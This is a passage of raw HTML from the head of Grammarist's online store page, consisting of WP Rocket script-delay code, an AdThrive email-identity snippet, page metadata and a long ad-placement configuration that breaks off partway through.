1<!DOCTYPE html> 2<html lang="en-US" prefix="og: https://ogp.me/ns#"> 3<head><meta charset="UTF-8">
3<script>if(navigator.userAgent.match(/MSIE|Internet Explorer/i)||navigator.userAgent.match(/Trident\/7\..*?rv:11/i)){var href=document.location.href;if(!href.match(/[?&]nowprocket/)){if(href.indexOf("?")==-1){if(href.indexOf("#")==-1){document.location.href=href+"?nowprocket=1"}else{document.location.href=href.replace("#","?nowprocket=1#")}}else{if(href.indexOf("#")==-1){document.location.href=href+"&nowprocket=1"}else{document.location.href=href.replace("#","&nowprocket=1#")}}}}</script>
3<script>(()=>{class RocketLazyLoadScripts{constructor(){this.v="2.0.5",this.userEvents=["keydown","keyup","mousedown","mouseup","mousemove","mouseover","mouseout","touchmove","touchstart","touchend","touchcancel","wheel","click","dblclick","input"],this.attributeEvents=["onblur","onclick","oncontextmenu","ondblclick","onfocus","onmousedown","onmouseenter","onmouseleave","onmousemove","onmouseout","onmouseover","onmouseup","onmousewheel","onscroll","onsubmit"]}async t(){this.i(),this.o(),/iP(ad|hone)/.test(navigator.userAgent)&&this.h(),this.u(),this.l(this),this.m(),this.k(this),this.p(this),this._(),await Promise.all([this.R(),this.L()]),this.lastBreath=Date.now(),this.S(this),this.P(),this.D(),this.O(),this.M(),await this.C(this.delayedScripts.normal),await this.C(this.delayedScripts.defer),await this.C(this.delayedScripts.async),await this.T(),await this.F(),await this.j(),await this.A(),window.dispatchEvent(new Event("rocket-allScriptsLoaded")),this.everythingLoaded=!0,this.lastTouchEnd&&await new Promise(t=>setTimeout(t,500-Date.now()+this.lastTouchEnd)),this.I(),this.H(),this.U(),this.W()}i(){this.CSPIssue=sessionStorage.getItem("rocketCSPIssue"),document.addEventListener("securitypolicyviolation",t=>{this.CSPIssue||"script-src-elem"!==t.violatedDirective||"data"!==t.blockedURI||(this.CSPIssue=!0,sessionStorage.setItem("rocketCSPIssue",!0))},{isRocket:!0})}o(){window.addEventListener("pageshow",t=>{this.persisted=t.persisted,this.realWindowLoadedFired=!0},{isRocket:!0}),window.addEventListener("pagehide",()=>{this.onFirstUserAction=null},{isRocket:!0})}h(){let t;function e(e){t=e}window.addEventListener("touchstart",e,{isRocket:!0}),window.addEventListener("touchend",function i(o){o.changedTouches[0]&&t.changedTouches[0]&&Math.abs(o.changedTouches[0].pageX-t.changedTouches[0].pageX)<10&&Math.abs(o.changedTouches[0].pageY-t.changedTouches[0].pageY)<10&&o.timeStamp-t.timeStamp<200&&(window.removeEventListener("touchstart",e,{isRocket:!0}),window.removeEventListener("touchend",i,{isRocket:!0}),"INPUT"===o.target.tagName&&"text"===o.target.type||(o.target.dispatchEvent(new TouchEvent("touchend",{target:o.target,bubbles:!0})),o.target.dispatchEvent(new MouseEvent("mouseover",{target:o.target,bubbles:!0})),o.target.dispatchEvent(new PointerEvent("click",{target:o.target,bubbles:!0,cancelable:!0,detail:1,clientX:o.changedTouches[0].clientX,clientY:o.changedTouches[0].clientY})),event.preventDefault()))},{isRocket:!0})}q(t){this.userActionTriggered||("mousemove"!==t.type||this.firstMousemoveIgnored?"keyup"===t.type||"mouseover"===t.type||"mouseout"===t.type||(this.userActionTriggered=!0,this.onFirstUserAction&&this.onFirstUserAction()):this.firstMousemoveIgnored=!0),"click"===t.type&&t.preventDefault(),t.stopPropagation(),t.stopImmediatePropagation(),"touchstart"===this.lastEvent&&"touchend"===t.type&&(this.lastTouchEnd=Date.now()),"click"===t.type&&(this.lastTouchEnd=0),this.lastEvent=t.type,t.composedPath&&t.composedPath()[0].getRootNode()instanceof ShadowRoot&&(t.rocketTarget=t.composedPath()[0]),this.savedUserEvents.push(t)}u(){this.savedUserEvents=[],this.userEventHandler=this.q.bind(this),this.userEvents.forEach(t=>window.addEventListener(t,this.userEventHandler,{passive:!1,isRocket:!0})),document.addEventListener("visibilitychange",this.userEventHandler,{isRocket:!0})}U(){this.userEvents.forEach(t=>window.removeEventListener(t,this.userEventHandler,{passive:!1,isRocket:!0})),document.removeEventListener("visibilitychange",this.userEventHandler,{isRocket:!0}),this.savedUserEvents.forEach(t=>{(t.rocketTarget||t.target).dispatchEvent(new window[t.constructor.name](t.type,t))})}m(){const t="return false",e=Array.from(this.attributeEvents,t=>"data-rocket-"+t),i="["+this.attributeEvents.join("],[")+"]",o="[data-rocket-"+this.attributeEvents.join("],[data-rocket-")+"]",s=(e,i,o)=>{o&&o!==t&&(e.setAttribute("data-rocket-"+i,o),e["rocket"+i]=new Function("event",o),e.setAttribute(i,t))};new MutationObserver(t=>{for(const n of t)"attributes"===n.type&&(n.attributeName.startsWith("data-rocket-")||this.everythingLoaded?n.attributeName.startsWith("data-rocket-")&&this.everythingLoaded&&this.N(n.target,n.attributeName.substring(12)):s(n.target,n.attributeName,n.target.getAttribute(n.attributeName))),"childList"===n.type&&n.addedNodes.forEac
3h(t=>{if(t.nodeType===Node.ELEMENT_NODE)if(this.everythingLoaded)for(const i of[t,...t.querySelectorAll(o)])for(const t of i.getAttributeNames())e.includes(t)&&this.N(i,t.substring(12));else for(const e of[t,...t.querySelectorAll(i)])for(const t of e.getAttributeNames())this.attributeEvents.includes(t)&&s(e,t,e.getAttribute(t))})}).observe(document,{subtree:!0,childList:!0,attributeFilter:[...this.attributeEvents,...e]})}I(){this.attributeEvents.forEach(t=>{document.querySelectorAll("[data-rocket-"+t+"]").forEach(e=>{this.N(e,t)})})}N(t,e){const i=t.getAttribute("data-rocket-"+e);i&&(t.setAttribute(e,i),t.removeAttribute("data-rocket-"+e))}k(t){Object.defineProperty(HTMLElement.prototype,"onclick",{get(){return this.rocketonclick||null},set(e){this.rocketonclick=e,this.setAttribute(t.everythingLoaded?"onclick":"data-rocket-onclick","this.rocketonclick(event)")}})}S(t){function e(e,i){let o=e[i];e[i]=null,Object.defineProperty(e,i,{get:()=>o,set(s){t.everythingLoaded?o=s:e["rocket"+i]=o=s}})}e(document,"onreadystatechange"),e(window,"onload"),e(window,"onpageshow");try{Object.defineProperty(document,"readyState",{get:()=>t.rocketReadyState,set(e){t.rocketReadyState=e},configurable:!0}),document.readyState="loading"}catch(t){console.log("WPRocket DJE readyState conflict, bypassing")}}l(t){this.originalAddEventListener=EventTarget.prototype.addEventListener,this.originalRemoveEventListener=EventTarget.prototype.removeEventListener,this.savedEventListeners=[],EventTarget.prototype.addEventListener=function(e,i,o){o&&o.isRocket||!t.B(e,this)&&!t.userEvents.includes(e)||t.B(e,this)&&!t.userActionTriggered||e.startsWith("rocket-")||t.everythingLoaded?t.originalAddEventListener.call(this,e,i,o):(t.savedEventListeners.push({target:this,remove:!1,type:e,func:i,options:o}),"mouseenter"!==e&&"mouseleave"!==e||t.originalAddEventListener.call(this,e,t.savedUserEvents.push,o))},EventTarget.prototype.removeEventListener=function(e,i,o){o&&o.isRocket||!t.B(e,this)&&!t.userEvents.includes(e)||t.B(e,this)&&!t.userActionTriggered||e.startsWith("rocket-")||t.everythingLoaded?t.originalRemoveEventListener.call(this,e,i,o):t.savedEventListeners.push({target:this,remove:!0,type:e,func:i,options:o})}}J(t,e){this.savedEventListeners=this.savedEventListeners.filter(i=>{let o=i.type,s=i.target||window;return e!==o||t!==s||(this.B(o,s)&&(i.type="rocket-"+o),this.$(i),!1)})}H(){EventTarget.prototype.addEventListener=this.originalAddEventListener,EventTarget.prototype.removeEventListener=this.originalRemoveEventListener,this.savedEventListeners.forEach(t=>this.$(t))}$(t){t.remove?this.originalRemoveEventListener.call(t.target,t.type,t.func,t.options):this.originalAddEventListener.call(t.target,t.type,t.func,t.options)}p(t){let e;function i(e){return t.everythingLoaded?e:e.split(" ").map(t=>"load"===t||t.startsWith("load.")?"rocket-jquery-load":t).join(" ")}function o(o){function s(e){const s=o.fn[e];o.fn[e]=o.fn.init.prototype[e]=function(){return this[0]===window&&t.userActionTriggered&&("string"==typeof arguments[0]||arguments[0]instanceof String?arguments[0]=i(arguments[0]):"object"==typeof arguments[0]&&Object.keys(arguments[0]).forEach(t=>{const e=arguments[0][t];delete arguments[0][t],arguments[0][i(t)]=e})),s.apply(this,arguments),this}}if(o&&o.fn&&!t.allJQueries.includes(o)){const e={DOMContentLoaded:[],"rocket-DOMContentLoaded":[]};for(const t in e)document.addEventListener(t,()=>{e[t].forEach(t=>t())},{isRocket:!0});o.fn.ready=o.fn.init.prototype.ready=function(i){function s(){parseInt(o.fn.jquery)>2?setTimeout(()=>i.bind(document)(o)):i.bind(document)(o)}return"function"==typeof i&&(t.realDomReadyFired?!t.userActionTriggered||t.fauxDomReadyFired?s():e["rocket-DOMContentLoaded"].push(s):e.DOMContentLoaded.push(s)),this},s("on"),s("one"),s("off"),t.allJQueries.push(o)}e=o}t.allJQueries=[],o(window.jQuery),Object.defineProperty(window,"jQuery",{get:()=>e,set(t){o(t)}})}P(){const t=new Map;document.write=document.writeln=function(e){const i=document.currentScript,o=document.createRange(),s=i.parentElement;let n=t.get(i);void 0===n&&(n=i.nextSibling,t.set(i,n));const c=document.createDocumentFragment();o.setStart(c,0),c.appendChild(o.createContextualFragment(e)),s.insertBefore(c,n)}}async R(){return new Promise(t=>{this.userActionTriggered?t():this.onFirstUserAction=t})}async L(){return new Promise(t=>{document.addEventListener("DOMContentLoaded",()=>{this.realDomReadyFired=!0,t()},{isRocket:!0})})}async j(){return this.realWindowLoadedFired?Promise.resolve():new Promise(t=>{window.addEventListener("load",t,{isRocket:!0})})}M(){this.pendingScripts=[];this.scriptsMutationObserver=new MutationObserver(t=>
3{for(const e of t)e.addedNodes.forEach(t=>{"SCRIPT"!==t.tagName||!t.src||t.noModule||t.isWPRocket||this.pendingScripts.push({script:t,promise:new Promise(e=>{const i=()=>{const i=this.pendingScripts.findIndex(e=>e.script===t);i>=0&&this.pendingScripts.splice(i,1),e()};t.addEventListener("load",i,{isRocket:!0}),t.addEventListener("error",i,{isRocket:!0}),setTimeout(i,1e3)})})})}),this.scriptsMutationObserver.observe(document,{childList:!0,subtree:!0})}async F(){await this.X(),this.pendingScripts.length?(await this.pendingScripts[0].promise,await this.F()):this.scriptsMutationObserver.disconnect()}D(){this.delayedScripts={normal:[],async:[],defer:[]},document.querySelectorAll("script[type$=rocketlazyloadscript]").forEach(t=>{t.hasAttribute("data-rocket-src")?t.hasAttribute("async")&&!1!==t.async?this.delayedScripts.async.push(t):t.hasAttribute("defer")&&!1!==t.defer||"module"===t.getAttribute("data-rocket-type")?this.delayedScripts.defer.push(t):this.delayedScripts.normal.push(t):this.delayedScripts.normal.push(t)})}async _(){await this.L();let t=[];document.querySelectorAll("script[type$=rocketlazyloadscript][data-rocket-src]").forEach(e=>{let i=e.getAttribute("data-rocket-src");if(i&&!i.startsWith("data:")){i.startsWith("//")&&(i=location.protocol+i);try{const o=new URL(i).origin;o!==location.origin&&t.push({src:o,crossOrigin:e.crossOrigin||"module"===e.getAttribute("data-rocket-type")})}catch(t){}}}),t=[...new Map(t.map(t=>[JSON.stringify(t),t])).values()],this.Y(t,"preconnect")}
3async G(t){if(await this.K(),!0!==t.noModule||!("noModule"in HTMLScriptElement.prototype))return new Promise(e=>{let i;function o(){(i||t).setAttribute("data-rocket-status","executed"),e()}try{if(navigator.userAgent.includes("Firefox/")||""===navigator.vendor||this.CSPIssue)i=document.createElement("script"),[...t.attributes].forEach(t=>{let e=t.nodeName;"type"!==e&&("data-rocket-type"===e&&(e="type"),"data-rocket-src"===e&&(e="src"),i.setAttribute(e,t.nodeValue))}),t.text&&(i.text=t.text),t.nonce&&(i.nonce=t.nonce),i.hasAttribute("src")?(i.addEventListener("load",o,{isRocket:!0}),i.addEventListener("error",()=>{i.setAttribute("data-rocket-status","failed-network"),e()},{isRocket:!0}),setTimeout(()=>{i.isConnected||e()},1)):(i.text=t.text,o()),i.isWPRocket=!0,t.parentNode.replaceChild(i,t);else{const i=t.getAttribute("data-rocket-type"),s=t.getAttribute("data-rocket-src");i?(t.type=i,t.removeAttribute("data-rocket-type")):t.removeAttribute("type"),t.addEventListener("load",o,{isRocket:!0}),t.addEventListener("error",i=>{this.CSPIssue&&i.target.src.startsWith("data:")?(console.log("WPRocket: CSP fallback activated"),t.removeAttribute("src"),this.G(t).then(e)):(t.setAttribute("data-rocket-status","failed-network"),e())},{isRocket:!0}),s?(t.fetchPriority="high",t.removeAttribute("data-rocket-src"),t.src=s):t.src="data:text/javascript;base64,"+window.btoa(unescape(encodeURIComponent(t.text)))}}catch(i){t.setAttribute("data-rocket-status","failed-transform"),e()}});t.setAttribute("data-rocket-status","skipped")}async C(t){const e=t.shift();return e?(e.isConnected&&await this.G(e),this.C(t)):Promise.resolve()}O(){this.Y([...this.delayedScripts.normal,...this.delayedScripts.defer,...this.delayedScripts.async],"preload")}Y(t,e){this.trash=this.trash||[];let i=!0;var o=document.createDocumentFragment();t.forEach(t=>{const s=t.getAttribute&&t.getAttribute("data-rocket-src")||t.src;if(s&&!s.startsWith("data:")){const n=document.createElement("link");n.href=s,n.rel=e,"preconnect"!==e&&(n.as="script",n.fetchPriority=i?"high":"low"),t.getAttribute&&"module"===t.getAttribute("data-rocket-type")&&(n.crossOrigin=!0),t.crossOrigin&&(n.crossOrigin=t.crossOrigin),t.integrity&&(n.integrity=t.integrity),t.nonce&&(n.nonce=t.nonce),o.appendChild(n),this.trash.push(n),i=!1}}),document.head.appendChild(o)}W(){this.trash.forEach(t=>t.remove())}async T(){try{document.readyState="interactive"}catch(t){}this.fauxDomReadyFired=!0;try{await this.K(),this.J(document,"readystatechange"),document.dispatchEvent(new Event("rocket-readystatechange")),await this.K(),document.rocketonreadystatechange&&document.rocketonreadystatechange(),await this.K(),this.J(document,"DOMContentLoaded"),document.dispatchEvent(new Event("rocket-DOMContentLoaded")),await this.K(),this.J(window,"DOMContentLoaded"),window.dispatchEvent(new Event("rocket-DOMContentLoaded"))}catch(t){console.error(t)}}async A(){try{document.readyState="complete"}catch(t){}try{await this.K(),this.J(document,"readystatechange"),document.dispatchEvent(new Event("rocket-readystatechange")),await this.K(),document.rocketonreadystatechange&&document.rocketonreadystatechange(),await this.K(),this.J(window,"load"),window.dispatchEvent(new Event("rocket-load")),await this.K(),window.rocketonload&&window.rocketonload(),await this.K(),this.allJQueries.forEach(t=>t(window).trigger("rocket-jquery-load")),await this.K(),this.J(window,"pageshow");const t=new Event("rocket-pageshow");t.persisted=this.persisted,window.dispatchEvent(t),await this.K(),window.rocketonpageshow&&window.rocketonpageshow({persisted:this.persisted})}catch(t){console.error(t)}}async K(){Date.now()-this.lastBreath>45&&(await this.X(),this.lastBreath=Date.now())}async X(){return document.hidden?new Promise(t=>setTimeout(t)):new Promise(t=>requestAnimationFrame(t))}B(t,e=window){return e===document&&"readystatechange"===t||(e===document&&"DOMContentLoaded"===t||(e===window&&"DOMContentLoaded"===t||(e===window&&"load"===t||e===window&&"pageshow"===t)))}static run(){(new RocketLazyLoadScripts).t()}}RocketLazyLoadScripts.run()})(); 4</script>
4 5 6
6<script data-no-optimize="1" data-cfasync="false">!function(){"use strict";const t={adt_ei:{identityApiKey:"plainText",source:"url",type:"plaintext",priority:1},adt_eih:{identityApiKey:"sha256",source:"urlh",type:"hashed",priority:2},sh_kit:{identityApiKey:"sha256",source:"urlhck",type:"hashed",priority:3}},e=Object.keys(t);function i(t){return function(t){const e=t.match(/((?=([a-z0-9._!#$%+^&*()[\]<>-]+))\2@[a-z0-9._-]+\.[a-z0-9._-]+)/gi);return e?e[0]:""}(function(t){return t.replace(/\s/g,"")}(t.toLowerCase()))}!async function(){const n=new URL(window.location.href),o=n.searchParams;let a=null;const r=Object.entries(t).sort(([,t],[,e])=>t.priority-e.priority).map(([t])=>t);for(const e of r){const n=o.get(e),r=t[e];if(!n||!r)continue;const c=decodeURIComponent(n),d="plaintext"===r.type&&i(c),s="hashed"===r.type&&c;if(d||s){a={value:c,config:r};break}}if(a){const{value:t,config:e}=a;window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(function(){window.adthrive.identityApi({source:e.source,[e.identityApiKey]:t},({success:i,data:n})=>{i?window.adthrive.log("info","Plugin","detectEmails",`Identity API called with ${e.type} email: ${t}`,n):window.adthrive.log("warning","Plugin","detectEmails",`Failed to call Identity API with ${e.type} email: ${t}`,n)})})}!function(t,e){const i=new URL(e);t.forEach(t=>i.searchParams.delete(t)),history.replaceState(null,"",i.toString())}(e,n)}()}(); 7</script>
7<meta name="dlm-version" content="5.2.9"><!-- Hubbub v.2.20.0 https://morehubbub.com/ --> 8<meta property="og:locale" content="en_US" /> 9<meta property="og:type" content="article" /> 10<meta property="og:title" content="Shop" /> 11<meta property="og:description" content="Best Selling Course: Breakthrough Copyediting and Proofreading Profit from Precision: Enhance your editing skills and discover how to earn with every meticulous edit. Start your profitable editing journey now! Learn More No products found." /> 12<meta property="og:url" content="https://grammarist.com/store/" /> 13<meta property="og:site_name" content="GRAMMARIST" /> 14<meta property="og:updated_time" content="2025-02-11T07:27:11+00:00" /> 15<meta property="article:published_time" content="2024-12-13T15:36:54+00:00" /> 16<meta property="article:modified_time" content="2025-02-11T07:27:11+00:00" /> 17<meta name="twitter:card" content="summary_large_image" /> 18<meta name="twitter:title" content="Shop" /> 19<meta name="twitter:description" content="Best Selling Course: Breakthrough Copyediting and Proofreading Profit from Precision: Enhance your editing skills and discover how to earn with every meticulous edit. Start your profitable editing journey now! Learn More No products found." /> 20<!-- Hubbub v.2.20.0 https://morehubbub.com/ --> 21<style data-no-optimize="1" data-cfasync="false"> 22 .adthrive-ad { 23 margin-top: 10px; 24 margin-bottom: 10px; 25 text-align: center; 26 overflow-x: visible; 27 clear: both; 28 line-height: 0; 29 } 30 .adthrive-content { 31 display: flex !important; 32} 33 34body.home .adthrive-content, body.archive .adthrive-content, body.search .adthrive-content { 35 flex: 0 0 100%; 36} 37 38body:has(.learndash-course-grid-temp-css) .adthrive-comscore.adthrive-footer-message, body:has(.cartflows-container) .adthrive-comscore.adthrive-footer-message { 39display: none !important; 40}</style>
41<script data-no-optimize="1" data-cfasync="false"> 42 window.adthriveCLS = { 43 enabledLocations: ['Content', 'Recipe'], 44 injectedSlots: [], 45 injectedFromPlugin: true, 46 branch: 'cbeddd4',bucket: 'prod', videoDisabledFromPlugin: true, 47 }; 48 window.adthriveCLS.siteAds = {"betaTester":false,"targeting":[{"value":"61d8738a78c5b3001b138d66","key":"siteId"},{"value":"6233884d24019370887a32b6","key":"organizationId"},{"value":"Grammarist","key":"siteName"},{"value":"AdThrive Edge","key":"service"},{"value":"on","key":"bidding"},{"value":["Education"],"key":"verticals"}],"siteUrl":"https://www.grammarist.com","siteId":"61d8738a78c5b3001b138d66","siteName":"Grammarist","breakpoints":{"tablet":768,"desktop":1024},"cloudflare":{"version":"b770817"},"adUnits":[{"sequence":1,"targeting":[{"value":["Sidebar"],"key":"location"}],"devices":["desktop"],"name":"Sidebar_1","sticky":false,"location":"Sidebar","dynamic":{"pageSelector":"body:not(.woocommerce-page):not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".is-right-sidebar","skip":0,"classNames":[],"position":"afterbegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[160,600],[336,280],[320,50],[300,600],[250,250],[1,1],[320,100],[300,1050],[300,50],[300,420],[300,250]],"priority":299,"autosize":true},{"sequence":9,"targeting":[{"value":["Sidebar"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop"],"name":"Sidebar_9","sticky":true,"location":"Sidebar","dynamic":{"pageSelector":"body:not(.woocommerce-page):not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".is-right-sidebar","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[160,600],[336,280],[320,50],[300,600],[250,250],[1,1],[320,100],[300,1050],[300,50],[300,420],[300,250]],"priority":291,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.home:not(.logged-in)","spacing":0,"max":3,"lazyMax":3,"enable":true,"lazy":true,"elementSelector":".generate-columns-container > article","skip":1,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.archive:not(.logged-in), body.search:not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".generate-columns-container > article","skip":1,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single:not(.postid-17538):not(.woocommerce-page):not(.logged-in), body.page:not(.home):not(.woocommerce-page):not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(#dpsp-post-content-markup)","skip":5,"classNames":[],"position":"afterend","every":2,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single:not(.postid-17538):not(.woocommerce-page):not(.logged-in), body.page:not(.home):not(.woocommerce-page):not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(#dpsp-post-content-markup)","skip":5,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.postid-17538:not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > p:nth-child(2n), .wp-block-table, .wp-block-image","skip":6,"classNames":[],"position":"afterend","every":2,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.postid-17538:not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > p:nth-child(2n), .wp-block-table, .wp-block-image","skip":6,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Footer"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop","tablet","phone"],"name":"Footer","sticky":true,"location":"Footer","dynamic":{"pageSelector":"body:not(.woocommerce-page):not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"body","
48skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[320,50],[320,100],[728,90],[970,90],[468,60],[1,1],[300,50]],"priority":-1,"autosize":true}],"adDensityLayout":{"mobile":{"adDensity":0.18,"onePerViewport":false},"pageOverrides":[{"mobile":{"adDensity":0.2,"onePerViewport":false},"note":null,"pageSelector":"body.postid-28354 ","desktop":{"adDensity":0.22,"onePerViewport":false}},{"mobile":{"adDensity":0.99,"onePerViewport":false},"note":null,"pageSelector":"body.postid-17538","desktop":{"adDensity":0.99,"onePerViewport":false}}],"desktop":{"adDensity":0.18,"onePerViewport":false}},"adDensityEnabled":true,"siteExperiments":[],"adTypes":{"sponsorTileDesktop":true,"interscrollerDesktop":true,"nativeBelowPostDesktop":true,"miniscroller":true,"largeFormatsMobile":true,"nativeMobileContent":true,"inRecipeRecommendationMobile":true,"nativeMobileRecipe":true,"sponsorTileMobile":true,"expandableCatalogAdsMobile":false,"frameAdsMobile":true,"outstreamMobile":true,"nativeHeaderMobile":true,"frameAdsDesktop":true,"inRecipeRecommendationDesktop":true,"expandableFooterDesktop":true,"nativeDesktopContent":true,"outstreamDesktop":true,"animatedFooter":true,"skylineHeader":false,"expandableFooter":true,"nativeDesktopSidebar":true,"videoFootersMobile":true,"videoFootersDesktop":true,"interscroller":true,"nativeDesktopRecipe":true,"nativeHeaderDesktop":true,"nativeBelowPostMobile":true,"expandableCatalogAdsDesktop":false,"largeFormatsDesktop":true},"adOptions":{"theTradeDesk":true,"thirdPartyCmp":{"enabled":false,"vendor":null,"injectPrivacyPreferencesLink":false},"undertone":true,"sidebarConfig":{"dynamicStickySidebar":{"minHeight":1800,"enabled":true,"blockedSelectors":[]}},"footerCloseButton":true,"teads":true,"seedtag":true,"pmp":true,"sharethrough":true,"optimizeVideoPlayersForEarnings":true,"removeVideoTitleWrapper":true,"pubMatic":true,"contentTermsFooterEnabled":true,"chicory":false,"infiniteScroll":false,"longerVideoAdPod":true,"yahoossp":true,"spa":false,"stickyContainerConfig":{"recipeDesktop":{"minHeight":null,"enabled":false},"blockedSelectors":[],"stickyHeaderSelectors":[],"content":{"minHeight":null,"enabled":false},"recipeMobile":{"minHeight":null,"enabled":false}},"gatedPrint":{"siteEmailServiceProviderId":null,"defaultOptIn":false,"closeButtonEnabled":false,"enabled":false,"newsletterPromptEnabled":false},"equativ":true,"yieldmo":true,"californiaPrivacyPopup":{"privacyPolicyUrl":null,"enabled":false,"termsOfServiceUrl":null},"footerSelector":"","amazonUAM":true,"gamMCMEnabled":true,"gamMCMChildNetworkCode":"21753950937","stickyContainerAds":false,"rubicon":true,"restartStickyVideoPlayersAfterClose":true,"conversant":true,"openx":true,"customCreativeEnabled":true,"mobileHeaderHeight":1,"secColor":"#000000","unruly":true,"bRealTime":true,"adInViewTime":null,"gumgum":true,"comscoreFooter"
48:false,"desktopInterstitial":false,"contentAdXExpansionDesktop":true,"amx":true,"footerCloseButtonDesktop":true,"ozone":true,"isAutoOptimized":false,"trustx":true,"comscoreTAL":false,"bgColor":"#FFFFFF","advancePlaylistOptions":{"playlistPlayer":{"enabled":true},"relatedPlayer":{"enabled":true,"applyToFirst":true}},"kargo":true,"liveRampATS":true,"footerCloseButtonMobile":true,"interstitialBlockedPageSelectors":"body.woocommerce-page, body.logged-in","prioritizeShorterVideoAds":true,"allowSmallerAdSizes":true,"comscore":"General","blis":true,"wakeLock":{"desktopEnabled":true,"mobileValue":15,"mobileEnabled":true,"desktopValue":30},"mobileInterstitial":false,"tripleLift":true,"sensitiveCategories":["alc","ast","cbd","conl","cosm","drg","gamc","gamv","pol","rel","sst","tob","wtl"],"liveRamp":true,"mobileInterstitialBlockedPageSelectors":"","adthriveEmailIdentity":true,"criteo":true,"nativo":true,"infiniteScrollOptions":{"selector":"","heightThreshold":0},"siteAttributes":{"mobileHeaderSelectors":[],"desktopHeaderSelectors":[]},"dynamicContentSlotLazyLoading":true,"clsOptimizedAds":true,"ogury":true,"verticals":["Education"],"inImage":false,"stackadapt":true,"usCMP":{"enabled":false,"regions":[]},"contentAdXExpansionMobile":true,"advancePlaylist":true,"medianet":true,"acAlwaysSticky":false,"delayLoading":false,"inImageZone":null,"appNexus":true,"rise":true,"liveRampId":"","infiniteScrollRefresh":false,"indexExchange":true},"siteAdsProfiles":[],"thirdPartySiteConfig":{"partners":{"discounts":[]}},"featureRollouts":{"disable-kargo-spotlight":{"featureRolloutId":45,"data":{},"enabled":false}},"organizationData":{"organizationId":"6233884d24019370887a32b6","multiSiteOrg":true},"videoPlayers":{"contextual":{"autoplayCollapsibleEnabled":false,"overrideEmbedLocation":false,"defaultPlayerType":"static"},"videoEmbed":"wordpress","footerSelector":"","contentSpecificPlaylists":[],"players":[{"playlistId":"c40pst4J","pageSelector":"body.single:not(.woocommerce-page):not(.logged-in), body.page:not(.home):not(.woocommerce-page):not(.logged-in)","devices":["mobile"],"mobileLocation":"top-center","description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":false,"formattedType":"Sticky Playlist","elementSelector":".entry-content > p","id":4080212,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"mobileHeaderSelector":null,"playerId":"wdhUjsC8"},{"playlistId":"c40pst4J","pageSelector":"","devices":["mobile","desktop"],"description":"","skip":0,"title":"Stationary related player - desktop and mobile","type":"stationaryRelated","enabled":true,"formattedType":"Stationary Related","elementSelector":"","id":4080214,"position":"","saveVideoCloseState":false,"shuffle":false,"playerId":"wdhUjsC8"},{"playlistId":"c40pst4J","pageSelector":"body.single:not(.woocommerce-page):not(.logged-in), body.page:not(.home):not(.woocommerce-page):not(.logged-in)","devices":["desktop"],"description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":false,"formattedType":"Sticky 